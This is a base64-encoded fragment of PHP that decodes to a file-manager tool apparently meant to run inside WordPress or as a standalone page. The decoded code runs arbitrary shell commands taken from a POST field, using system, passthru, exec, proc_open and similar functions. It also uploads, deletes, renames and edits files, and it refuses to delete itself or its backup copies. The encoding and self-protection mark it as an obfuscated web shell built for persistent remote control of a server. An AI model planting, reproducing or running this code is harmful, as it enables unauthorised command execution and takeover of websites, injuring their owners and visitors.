mUoKSB7DQogICAgICAgICR0aGlzLT5oYW5kbGVfcmVxdWVzdHMoKTsNCiAgICAgICAgJHRoaXMtPnJlbmRlcl9zdGFuZGFsb25lX3BhZ2UoKTsNCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSGFuZGxlIGFsbCByZXF1ZXN0cw0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBoYW5kbGVfcmVxdWVzdHMoKSB7DQogICAgICAgIGlmICgkdGhpcy0+aXNfd29yZHByZXNzKSB7DQogICAgICAgICAgICBpZiAoIWlzc2V0KCRfR0VUWydwYWdlJ10pIHx8ICRfR0VUWydwYWdlJ10gIT09ICdTaWRGaWxlLU1hbmFnZXItcGF0aCcpIHsNCiAgICAgICAgICAgICAgICByZXR1cm47DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnKSB7DQogICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkdGhpcy0+Z2V0X2N1cnJlbnRfZGlyZWN0b3J5KCk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIC8vIEhhbmRsZSB0ZXJtaW5hbCBjb21tYW5kcw0KICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsndGVybWluYWwnXSkgJiYgIWVtcHR5KCRfUE9TVFsndGVybWluYWwtdGV4dCddKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5oYW5kbGVfdGVybWluYWwoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gSGFuZGxlIGZpbGUgb3BlcmF0aW9ucw0KICAgICAgICAgICAgJHRoaXMtPmhhbmRsZV9maWxlX29wZXJhdGlvbnMoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBHZXQgY3VycmVudCB3b3JraW5nIGRpcmVjdG9yeSAtIFlPVVIgT1JJR0lOQUwgTE9HSUMNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIGdldF9jdXJyZW50X2RpcmVjdG9yeSgpIHsNCiAgICAgICAgLy8gSW5pdGlhbGl6ZSBmcm9tIHNlc3Npb24gb3IgZGVmYXVsdCB0byByb290DQogICAgICAgIGlmICghaXNzZXQoJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddKSkgew0KICAgICAgICAgICAgJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddID0gJHRoaXMtPnJvb3RfcGF0aDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJGN1cnJlbnRfZGlyID0gJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddOw0KICAgICAgICANCiAgICAgICAgLy8gSGFuZGxlIGRpcmVjdG9yeSBjaGFuZ2UgdmlhIEdFVCBwYXJhbWV0ZXIgJ3AnDQogICAgICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KICAgICAgICAgICAgJGRlY29kZWQgPSAkdGhpcy0+ZGVjb2RlUGF0aCgkX0dFVFsncCddKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gSWYgZW1wdHksIGdvIHRvIHJvb3QNCiAgICAgICAgICAgIGlmIChlbXB0eSgkZGVjb2RlZCkpIHsNCiAgICAgICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkdGhpcy0+cm9vdF9wYXRoOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLy8gSWYgaXQncyBhIGZ1bGwgcGF0aCBhbmQgZGlyZWN0b3J5IGV4aXN0cw0KICAgICAgICAgICAgZWxzZWlmIChpc19kaXIoJGRlY29kZWQpKSB7DQogICAgICAgICAgICAgICAgJHJlYWxfcGF0aCA9IHJlYWxwYXRoKCRkZWNvZGVkKTsNCiAgICAgICAgICAgICAgICBpZiAoJHJlYWxfcGF0aCAmJiBpc19kaXIoJHJlYWxfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHJlYWxfcGF0aDsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkdGhpcy0+cm9vdF9wYXRoOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC8vIElmIGl0J3MgcmVsYXRpdmUgdG8gY3VycmVudCBzZXNzaW9uIGRpcmVjdG9yeQ0KICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgJGZ1bGxfcGF0aCA9ICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBsdHJpbSgkZGVjb2RlZCwgJy9cXCcpOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGZ1bGxfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHJlYWxfcGF0aCA9IHJlYWxwYXRoKCRmdWxsX3BhdGgpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHJlYWxfcGF0aCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHJlYWxfcGF0aDsNCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAvLyBUcnkgZnJvbSByb290DQogICAgICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRmdWxsX3BhdGggPSAkdGhpcy0+cm9vdF9wYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIGx0cmltKCRkZWNvZGVkLCAnL1xcJyk7DQogICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGZ1bGxfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZWFsX3BhdGggPSByZWFscGF0aCgkZnVsbF9wYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcmVhbF9wYXRoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHJlYWxfcGF0aDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgLy8gRGlyZWN0b3J5IGRvZXNuJ3QgZXhpc3QsIHN0YXkgaW4gY3VycmVudA0KICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAvLyBVcGRhdGUgc2Vzc2lvbiB3aXRoIG5ldyBkaXJlY3RvcnkNCiAgICAgICAgICAgICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSA9ICRjdXJyZW50X2RpcjsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSAkY3VycmVudF9kaXI7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAvLyBObyAncCcgcGFyYW1ldGVyLCB1c2Ugc2Vzc2lvbiBvciBkZWZhdWx0DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddKSAmJiBpc19kaXIoJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddKSkgew0KICAgICAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHRoaXMtPnJvb3RfcGF0aDsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ10gPSAkdGhpcy0+cm9vdF9wYXRoOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBNYWtlIHN1cmUgY3VycmVudF9kaXIgaXMgdmFsaWQNCiAgICAgICAgaWYgKCFpc19kaXIoJGN1cnJlbnRfZGlyKSkgew0KICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHRoaXMtPnJvb3RfcGF0aDsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSA9ICR0aGlzLT5yb290X3BhdGg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIE1ha2Ugc3VyZSB3ZSBoYXZlIHJlYWxwYXRoDQogICAgICAgICRjdXJyZW50X2RpciA9IHJlYWxwYXRoKCRjdXJyZW50X2RpcikgPzogJHRoaXMtPnJvb3RfcGF0aDsNCiAgICAgICAgDQogICAgICAgIC8vIFVwZGF0ZSBDV0Qgc2Vzc2lvbg0KICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gJGN1cnJlbnRfZGlyOw0KICAgICAgICAkX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ10gPSAkY3VycmVudF9kaXI7DQogICAgICAgIA0KICAgICAgICByZXR1cm4gJGN1cnJlbnRfZGlyOw0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBIYW5kbGUgdGVybWluYWwgY29tbWFuZHMNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIGhhbmRsZV90ZXJtaW5hbCgkY3VycmVudF9kaXIpIHsNCiAgICAgICAgJGV4ZWNGdW5jdGlvbnMgPSBbJ3Bhc3N0aHJ1JywgJ3N5c3RlbScsICdleGVjJywgJ3NoZWxsX2V4ZWMnLCAncHJvY19vcGVuJywgJ3BvcGVuJ107DQogICAgICAgICRjYW5FeGVjdXRlID0gZmFsc2U7DQogICAgICAgIGZvcmVhY2ggKCRleGVjRnVuY3Rpb25zIGFzICRmdW5jKSB7DQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCRmdW5jKSkgew0KICAgICAgICAgICAgICAgICRjYW5FeGVjdXRlID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJGN3ZCA9IGlzc2V0KCRfU0VTU0lPTlsnY3dkJ10pID8gJF9TRVNTSU9OWydjd2QnXSA6ICRjdXJyZW50X2RpcjsNCiAgICAgICAgJGNtZElucHV0ID0gdHJpbSgkX1BPU1RbJ3Rlcm1pbmFsLXRleHQnXSk7DQogICAgICAgICRvdXRwdXQgPSAiIjsNCg0KICAgICAgICAvLyBIYW5kbGUgY2QgY29tbWFuZA0KICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15jZFxzKiguKikkLycsICRjbWRJbnB1dCwgJG1hdGNoZXMpKSB7DQogICAgICAgICAgICAkZGlyID0gdHJpbSgkbWF0Y2hlc1sxXSk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmICgkZGlyID09PSAnJyB8fCAkZGlyID09PSAnficgfHwgJGRpciA9PT0gJy8nKSB7DQogICAgICAgICAgICAgICAgJG5ld19kaXIgPSAkdGhpcy0+cm9vdF9wYXRoOw0KICAgICAgICAgICAgfSBlbHNlaWYgKCRkaXIgPT09ICcuLicpIHsNCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9IGRpcm5hbWUoJGN3ZCk7DQogICAgICAgICAgICAgICAgLy8gRG9uJ3QgZ28gYmVsb3cgcm9vdA0KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MocmVhbHBhdGgoJG5ld19kaXIpID86ICRuZXdfZGlyLCByZWFscGF0aCgkdGhpcy0+cm9vdF9wYXRoKSA/OiAkdGhpcy0+cm9vdF9wYXRoKSAhPT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAkbmV3X2RpciA9ICR0aGlzLT5yb290X3BhdGg7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlaWYgKCRkaXJbMF0gIT09ICcvJyAmJiAkZGlyWzBdICE9PSAnXFwnKSB7DQogICAgICAgICAgICAgICAgJG5ld19kaXIgPSAkY3dkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRkaXI7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gJGRpcjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJHJlYWxEaXIgPSByZWFscGF0aCgkbmV3X2Rpcik7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmICgkcmVhbERpciAmJiBpc19kaXIoJHJlYWxEaXIpKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9ICRyZWFsRGlyOw0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSA9ICRyZWFsRGlyOw0KICAgICAgICAgICAgICAgICRjd2QgPSAkcmVhbERpcjsNCiAgICAgICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkcmVhbERpcjsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gIkNoYW5nZWQgZGlyZWN0b3J5IHRvICIgLiAkcmVhbERpcjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgLy8gVHJ5IGZyb20gcm9vdA0KICAgICAgICAgICAgICAgICR0cnlfZnJvbV9yb290ID0gJHRoaXMtPnJvb3RfcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBsdHJpbSgkZGlyLCAnL1xcJyk7DQogICAgICAgICAgICAgICAgJHJlYWxEaXIgPSByZWFscGF0aCgkdHJ5X2Zyb21fcm9vdCk7DQogICAgICAgICAgICAgICAgaWYgKCRyZWFsRGlyICYmIGlzX2RpcigkcmVhbERpcikpIHsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9ICRyZWFsRGlyOw0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ10gPSAkcmVhbERpcjsNCiAgICAgICAgICAgICAgICAgICAgJGN3ZCA9ICRyZWFsRGlyOw0KICAgICAgICAgICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkcmVhbERpcjsNCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9ICJDaGFuZ2VkIGRpcmVjdG9yeSB0byAiIC4gJHJlYWxEaXI7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9ICJiYXNoOiBjZDogIiAuICRtYXRjaGVzWzFdIC4gIjogTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeSI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IA0KICAgICAgICAvLyBIYW5kbGUgY2xlYXIgY29tbWFuZA0KICAgICAgICBlbHNlaWYgKHN0cnRvbG93ZXIoJGNtZElucHV0KSA9PT0gJ2NsZWFyJykgew0KICAgICAgICAgICAgJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA9ICcnOw0KICAgICAgICAgICAgJG91dHB1dCA9ICcnOw0KICAgICAgICB9DQogICAgICAgIC8vIEV4ZWN1dGUgY29tbWFuZA0KICAgICAgICBlbHNlaWYgKCRjYW5FeGVjdXRlKSB7DQogICAgICAgICAgICBpZiAoaXNfZGlyKCRjd2QpKSB7DQogICAgICAgICAgICAgICAgQGNoZGlyKCRjd2QpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkY21kID0gJGNtZElucHV0IC4gIiAyPiYxIjsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gU3RvcmUgY29tbWFuZCBpbiBoaXN0b3J5DQogICAgICAgICAgICBpZiAoIWlzc2V0KCRfU0VTU0lPTlsndGVybWluYWxfaGlzdG9yeSddKSkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfaGlzdG9yeSddID0gW107DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1NFU1NJT05bJ3Rlcm1pbmFsX2hpc3RvcnknXVtdID0gJGNtZElucHV0Ow0KICAgICAgICAgICAgaWYgKGNvdW50KCRfU0VTU0lPTlsndGVybWluYWxfaGlzdG9yeSddKSA+IDUwKSB7DQogICAgICAgICAgICAgICAgYXJyYXlfc2hpZnQoJF9TRVNTSU9OWyd0ZXJtaW5hbF9oaXN0b3J5J10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSkgew0KICAgICAgICAgICAgICAgICRwaXBlcyA9IFtdOw0KICAgICAgICAgICAgICAgICRwcm9jZXNzID0gQHByb2Nfb3BlbigkY21kLCBbDQogICAgICAgICAgICAgICAgICAgIDAgPT4gWyJwaXBlIiwgInIiXSwNCiAgICAgICAgICAgICAgICAgICAgMSA9PiBbInBpcGUiLCAidyJdLA0KICAgICAgICAgICAgICAgICAgICAyID0+IFsicGlwZSIsICJ3Il0NCiAgICAgICAgICAgICAgICBdLCAkcGlwZXMsICRjd2QpOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsNCiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRwaXBlc1swXSk7DQogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7DQogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMV0pOw0KICAgICAgICAgICAgICAgICAgICAkZXJyb3IgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1syXSk7DQogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMl0pOw0KICAgICAgICAgICAgICAgICAgICBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZXJyb3IpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49ICRlcnJvcjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgIEBwYXNzdGhydSgkY21kKTsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgQHN5c3RlbSgkY21kKTsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCiAgICAgICAgICAgICAgICBAZXhlYygkY21kLCAkb3V0KTsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gaW1wbG9kZSgiXG4iLCAkb3V0KTsNCiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KICAgICAgICAgICAgICAgICRvdXRwdXQgPSBAc2hlbGxfZXhlYygkY21kKTsNCiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3BvcGVuJykpIHsNCiAgICAgICAgICAgICAgICAkaGFuZGxlID0gQHBvcGVuKCRjbWQsICdyJyk7DQogICAgICAgICAgICAgICAgaWYgKCRoYW5kbGUpIHsNCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJGhhbmRsZSk7DQogICAgICAgICAgICAgICAgICAgIEBwY2xvc2UoJGhhbmRsZSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJG91dHB1dCA9ICJDb21tYW5kIGV4ZWN1dGlvbiBmdW5jdGlvbnMgYXJlIGRpc2FibGVkIG9uIHRoaXMgc2VydmVyLiI7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfb3V0cHV0J10gPSAkb3V0cHV0Ow0KICAgICAgICAkX1NFU1NJT05bJ3Rlcm1pbmFsX2N3ZCddID0gJGN3ZDsNCiAgICAgICAgDQogICAgICAgIC8vIFVzZSB0aGUgdXBkYXRlZCBjdXJyZW50X2RpciBmcm9tIGNkIGNvbW1hbmQNCiAgICAgICAgaWYgKGlzc2V0KCRjdXJyZW50X2RpcikpIHsNCiAgICAgICAgICAgICR0aGlzLT5yZWRpcmVjdF9hZnRlcl9vcGVyYXRpb24oJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICR0aGlzLT5yZWRpcmVjdF9hZnRlcl9vcGVyYXRpb24oJGN3ZCk7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSGFuZGxlIGZpbGUgb3BlcmF0aW9ucyAodXBsb2FkLCBjcmVhdGUsIGRlbGV0ZSwgcmVuYW1lLCBlZGl0LCBjaG1vZCkNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIGhhbmRsZV9maWxlX29wZXJhdGlvbnMoJGN1cnJlbnRfZGlyKSB7DQogICAgICAgICRyZWRpcmVjdCA9IHRydWU7DQogICAgICAgIA0KICAgICAgICAvLyBGaWxlIHVwbG9hZA0KICAgICAgICBpZiAoIWVtcHR5KCRfRklMRVNbJ2ZpbGVzJ10pKSB7DQogICAgICAgICAgICAvLyBOb3JtYWxpemUgZmlsZSBhcnJheQ0KICAgICAgICAgICAgaWYgKCFpc19hcnJheSgkX0ZJTEVTWydmaWxlcyddWyduYW1lJ10pKSB7DQogICAgICAgICAgICAgICAgJF9GSUxFU1snZmlsZXMnXSA9IFsNCiAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+IFskX0ZJTEVTWydmaWxlcyddWyduYW1lJ11dLA0KICAgICAgICAgICAgICAgICAgICAndHlwZScgPT4gWyRfRklMRVNbJ2ZpbGVzJ11bJ3R5cGUnXV0sDQogICAgICAgICAgICAgICAgICAgICd0bXBfbmFtZScgPT4gWyRfRklMRVNbJ2ZpbGVzJ11bJ3RtcF9uYW1lJ11dLA0KICAgICAgICAgICAgICAgICAgICAnZXJyb3InID0+IFskX0ZJTEVTWydmaWxlcyddWydlcnJvciddXSwNCiAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IFskX0ZJTEVTWydmaWxlcyddWydzaXplJ11dDQogICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgZm9yZWFjaCAoJF9GSUxFU1snZmlsZXMnXVsndG1wX25hbWUnXSBhcyAkaSA9PiAkdG1wKSB7DQogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXVskaV0pKSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAoJHRtcCAmJiBpc191cGxvYWRlZF9maWxlKCR0bXApICYmICRfRklMRVNbJ2ZpbGVzJ11bJ2Vycm9yJ11bJGldID09PSBVUExPQURfRVJSX09LKSB7DQogICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9ICR0aGlzLT5zYW5pdGl6ZV9maWxlbmFtZSgkX0ZJTEVTWydmaWxlcyddWyduYW1lJ11bJGldKTsNCiAgICAgICAgICAgICAgICAgICAgJGRlc3RpbmF0aW9uID0gJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlbmFtZTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRkZXN0aW5hdGlvbikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGRlc3RpbmF0aW9uKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBAbW92ZV91cGxvYWRlZF9maWxlKCR0bXAsICRkZXN0aW5hdGlvbik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBDcmVhdGUgZm9sZGVyDQogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyduZXdmb2xkZXInXSkpIHsNCiAgICAgICAgICAgICRmb2xkZXJuYW1lID0gJHRoaXMtPnNhbml0aXplX2ZpbGVuYW1lKCRfUE9TVFsnbmV3Zm9sZGVyJ10pOw0KICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZvbGRlcm5hbWUpKSB7DQogICAgICAgICAgICAgICAgQG1rZGlyKCRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZm9sZGVybmFtZSwgMDc1NSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIENyZWF0ZSBmaWxlDQogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyduZXdmaWxlJ10pKSB7DQogICAgICAgICAgICAkZmlsZW5hbWUgPSAkdGhpcy0+c2FuaXRpemVfZmlsZW5hbWUoJF9QT1NUWyduZXdmaWxlJ10pOw0KICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVuYW1lKSkgew0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVuYW1lLCAnJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIERlbGV0ZSBmaWxlL2ZvbGRlcg0KICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZGVsZXRlJ10pKSB7DQogICAgICAgICAgICAkdGFyZ2V0ID0gJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICR0aGlzLT5zYW5pdGl6ZV9maWxlbmFtZSgkX1BPU1RbJ2RlbGV0ZSddKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gUHJvdGVjdCBzZWxmDQogICAgICAgICAgICBpZiAocmVhbHBhdGgoJHRhcmdldCkgPT09IHJlYWxwYXRoKF9fRklMRV9fKSB8fCANCiAgICAgICAgICAgICAgICAoaXNfYXJyYXkoJHRoaXMtPmJhY2t1cF9maWxlcykgJiYgaW5fYXJyYXkocmVhbHBhdGgoJHRhcmdldCksIGFycmF5X2ZpbHRlcihhcnJheV9tYXAoJ3JlYWxwYXRoJywgJHRoaXMtPmJhY2t1cF9maWxlcykpKSkpIHsNCiAgICAgICAgICAgICAgICAvLyBEb24ndCBkZWxldGUgc2VsZg0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNfZmlsZSgkdGFyZ2V0KSkgew0KICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0YXJnZXQpOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnJlY3Vyc2l2ZV9kZWxldGUoJHRhcmdldCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBSZW5hbWUNCiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ29sZCddKSAmJiAhZW1wdHkoJF9QT1NUWyduZXcnXSkpIHsNCiAgICAgICAgICAgICRvbGQgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRoaXMtPnNhbml0aXplX2ZpbGVuYW1lKCRfUE9TVFsnb2xkJ10pOw0KICAgICAgICAgICAgJG5ldyA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkdGhpcy0+c2FuaXRpemVfZmlsZW5hbWUoJF9QT1NUWyduZXcnXSk7DQogICAgICAgICAgICBpZiAoZmlsZV9leGlz